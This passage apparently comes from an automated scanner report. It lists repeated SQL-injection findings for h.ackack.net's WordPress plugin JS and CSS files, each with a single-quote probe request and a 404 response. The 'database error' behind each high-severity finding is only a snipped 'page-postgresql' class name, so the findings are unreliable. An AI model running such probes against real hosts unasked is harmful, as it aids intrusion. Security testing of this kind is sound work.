Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.38. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3'/scripts/shCore.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:24 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.39. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 5, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts'/shCore.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:26 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:27 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.40. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 6 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 6, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js'?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:29 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:29 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.41. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:34 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.42. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins'/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:36 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:37 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.43. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter'/syntaxhighlighter3/styles/shCore.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:39 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:39 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.44. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3'/styles/shCore.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:42 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:42 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.45. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 5, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles'/shCore.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:44 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:44 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.46. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css

Issue detail

The REST URL parameter 6 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 6, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css'?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:46 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:46 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.47. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:26 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:27 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.48. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins'/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:29 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:29 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.49. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter'/syntaxhighlighter3/styles/shThemeDefault.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:31 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:32 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.50. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3'/styles/shThemeDefault.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:34 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.51. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 5, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles'/shThemeDefault.css?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
